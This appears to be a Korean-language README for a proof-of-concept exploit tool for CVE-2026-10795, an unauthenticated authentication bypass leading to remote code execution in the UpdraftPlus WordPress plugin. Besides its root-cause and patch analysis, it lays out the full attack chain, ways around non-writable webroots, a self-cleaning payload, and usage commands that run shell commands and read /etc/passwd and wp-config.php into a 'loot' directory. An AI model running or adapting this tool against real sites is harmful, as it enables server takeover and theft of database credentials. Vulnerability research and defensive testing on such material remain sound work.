CVE-2026-10795에 대해 AI가 수정한 PoC - 교육 목적으로만 사용 - 소유한 랩에서만 사용 책임은 본인에게 있음 ;)
UpdraftPlus의 인증되지 않은 udrpc 인증 우회로 인해 관리자 수준의 명령 실행에 이르는 취약점에 대한 단일 파일 개념 증명(Proof of Concept)입니다.
[!WARNING] 승인된 테스트 전용. 본인이 소유하거나 테스트에 대한 명시적 서면 허가를 받은 시스템에만 사용하십시오. 제3자 사이트에 대해 실행하는 것은 대부분의 관할권에서 불법이며 이 프로젝트의 목적이 아닙니다. 작성자는 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.
| CVE | CVE-2026-10795 |
| 구성 요소 | UpdraftPlus (WordPress 백업/복원 플러그인) |
| 취약 버전 | <= 1.26.4 (Premium <= 2.26.4) |
| 수정 버전 | 1.26.5 이상 (작성 시점 최신 릴리스: 1.26.14) |
| 분류 | 인증 우회 → 원격 코드 실행 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 없음 |
| 사용자 상호작용 | 없음 |
| 전제 조건 | 대상에 활성화된 UpdraftCentral 또는 Migrator 키 |
이 플러그인은 UpdraftCentral과 Migrator가 사용하는 원격 제어 리스너(udrpc)를 노출합니다. 취약한 버전에서 이 리스너는 서명이 없는 레거시 형식 1 메시지 형식을 허용하며, 메시지별 AES 키를 RSA 연산으로 복호화하는데 그 실패 여부를 전혀 확인하지 않습니다. 복호화할 수 없는 키를 제공하는 공격자는 알려진 전부 0인 AES 키를 얻게 되고, 자신의 명령을 암호화하면 사이트는 해당 키에 바인딩된 사용자 — 일반적으로 관리자 — 권한으로 이를 실행합니다.
이 PoC는:
ping 명령을 사용하며 부작용 없이 우회를 증명합니다;git clone https://github.com/<your-org>/CVE-2026-10795.git
cd CVE-2026-10795
python3 -m pip install -r requirements.txt
# Read-only check: no writes, no posts, no files.
python3 cve-2026-10795.py -u https://target.example -k --max-keys 2 --verbose
취약한 대상은 암호화된 udrpc 응답을 반환하고 도구는 다음을 출력합니다:
0.central.updraftplus.com: HTTP 200, 976 bytes -> vulnerable
[+] VULNERABLE: authentication bypass succeeded (CVE-2026-10795).
패치된 대상은 대신 메시지를 거부합니다:
0.central.updraftplus.com: HTTP 200, 0 bytes -> blocked
[-] Key name is valid, but the forged message was rejected.
This normally means the plugin is patched (>= 1.26.5).
decrypt_message()는 공격자가 제공한 blob을 RSA로 감싼 대칭 키와 AES 암호문으로 분할한 다음, 키를 복호화하고 그 결과를 즉시 사용합니다:
// class-udrpc2.php (1.25.9), decrypt_message()
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key); // returns false on malformed input
$rij->setKey($sym_key); // false -> zero-length / all-zero key
return $rij->decrypt($ciphertext);
phpseclib는 RSA 작업이 실패하면 false를 반환합니다. false를
Crypt_Rijndael::setKey()에 전달하면 오류 대신 전부 0으로 채워진 AES-128 키가 생성됩니다.
따라서 공격자는 자신의 페이로드를 복호화하는 데 사용될 키를 알게 됩니다.
벤더 수정 사항은 키가 사용되기 전에 타입 및 길이 검사를 추가합니다:
$sym_key = $rsa->decrypt($sym_key);
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
형식 2는 사이트의 공개 키로 모든 메시지에 서명합니다. 형식 1은 그보다 앞서 등장했으며 어떠한 서명 검증도 없이 처리되므로, 키 자료가 전혀 필요하지 않습니다:
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
format=1&key_name=0.central.updraftplus.com&udrpc_message=<encrypted command>
1.26.5의 수정 사항은 포맷 1을 여전히 필요로 하는 네 가지 Migrator 명령으로 제한하며, Migrator 패턴과 일치하는 키 이름에만 적용됩니다:
// Restrict use of format 1
if ($format < 2 && (!in_array($command, array('ping', 'get_file_status', 'send_chunk', 'upload_complete'))
|| !preg_match('/^([a-f0-9]+)\.migrator\.updraftplus\.com$/', $this->key_name_indicator))) {
$this->log("Obsolete format used - dropping (command: $command)", 'error');
die;
}
우회 자체만으로는 인증 우회입니다. 이것이 코드 실행이 되는 이유는 UpdraftCentral 명령 모듈이 두 가지 기본 요소를 노출하기 때문입니다:
| 기본 요소 | 파일 | 허용하는 것 |
|---|---|---|
comments.update_settings | central/modules/comments.php | 임의의 제공된 키에 대해 update_option()을 호출 — upload_path와 stylesheet 포함. |
posts.save → attach_remote_image() | central/modules/posts.php | 파일 유형 검사 이전에 공격자가 제공한 바이트를 wp_upload_dir()['path'] . '/' . basename($url)에 기록. |
1.26.14에서 두 기본 요소 모두 입력을 검증하지 않으며, 이 CVE에 대한 벤더 수정도 이를 변경하지 않습니다. 이들은 첨부된 평가 보고서에서 심층 방어 격차로 문서화되어 있는데, 향후의 인증 우회 — 또는 탈취된 UpdraftCentral 키 — 가 동일한 체인을 다시 활성화하기 때문입니다.
[!NOTE] 쓰기 불가능한 웹루트도 이것을 막지 못합니다. 쓰기는
/tmp,/var/tmp,/dev/shm, 또는wp-content/uploads로 리디렉션되며, include는 검증되지 않은stylesheet옵션으로 리디렉션됩니다.open_basedir이 종종 이를 깨뜨리는 유일한 제어 수단입니다.
flowchart TD
A["POST / with format=1<br/>udrpc_message encrypted with<br/>the all-zero AES key"] --> B{"Audio listener<br/>dispatches command"}
B --> C["comments.update_settings<br/>upload_path = /tmp/udc<token>"]
C --> D["posts.save<br/>attach_remote_image() writes<br/>/tmp/udc<token>/functions.php"]
D --> E["comments.update_settings<br/>stylesheet = ../../../../tmp/udc<token>"]
E --> F["GET /?udc_probe=<token><br/>WordPress includes the payload"]
F --> G["Arbitrary command execution<br/>as www-data"]
G --> H["Payload restores options,<br/>deletes its posts/attachments<br/>and removes its files"]
단계별:
ping이 수락되고, 응답은 사이트의 키로 암호화되며, 이는 리스너가 이를 처리했음을 확인시켜 줍니다.upload_path가 임시 디렉터리를 가리키도록 설정되고 uploads_use_yearmonth_folders가 비활성화됩니다.posts.save가 추천 이미지 경로를 통해 functions.php를 작성합니다.stylesheet만 이동되며(경로 순회 경로), template은 여전히 실제 테마를 가리키므로 일반 방문자는 정상적인 사이트를 보게 됩니다.python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
requirements.txt:
cryptography>=41
pycryptodome도 지원되며, cryptography가 없을 경우 자동으로 사용됩니다.
도구의 나머지 부분은 표준 라이브러리만 사용합니다 — HTTP 프레임워크도, 워드리스트도,
외부 서비스도 없습니다.
설치를 확인하세요:
python3 cve-2026-10795.py --help
python3 cve-2026-10795.py -u https://target.example -k --max-keys 5
0.central.updraftplus.com부터 4.central.updraftplus.com까지 열거합니다.ping만 전송합니다.-k는 TLS 검증을 비활성화합니다(평가 중 만료되었거나 자체 서명된 인증서에 유용함). 프로덕션 모니터링에서는 절대 활성화한 채로 두지 마십시오.키 이름을 이미 알고 계십니까? 열거를 건너뛰십시오:
python3 cve-2026-10795.py -u https://target.example -k \
--key-name 0.central.updraftplus.com
python3 cve-2026-10795.py -u https://target.example -k \
--theme-rce \
--exec whoami \
--exec id \
--read-file /etc/passwd \
--read-file wp-config.php \
--out-dir ./loot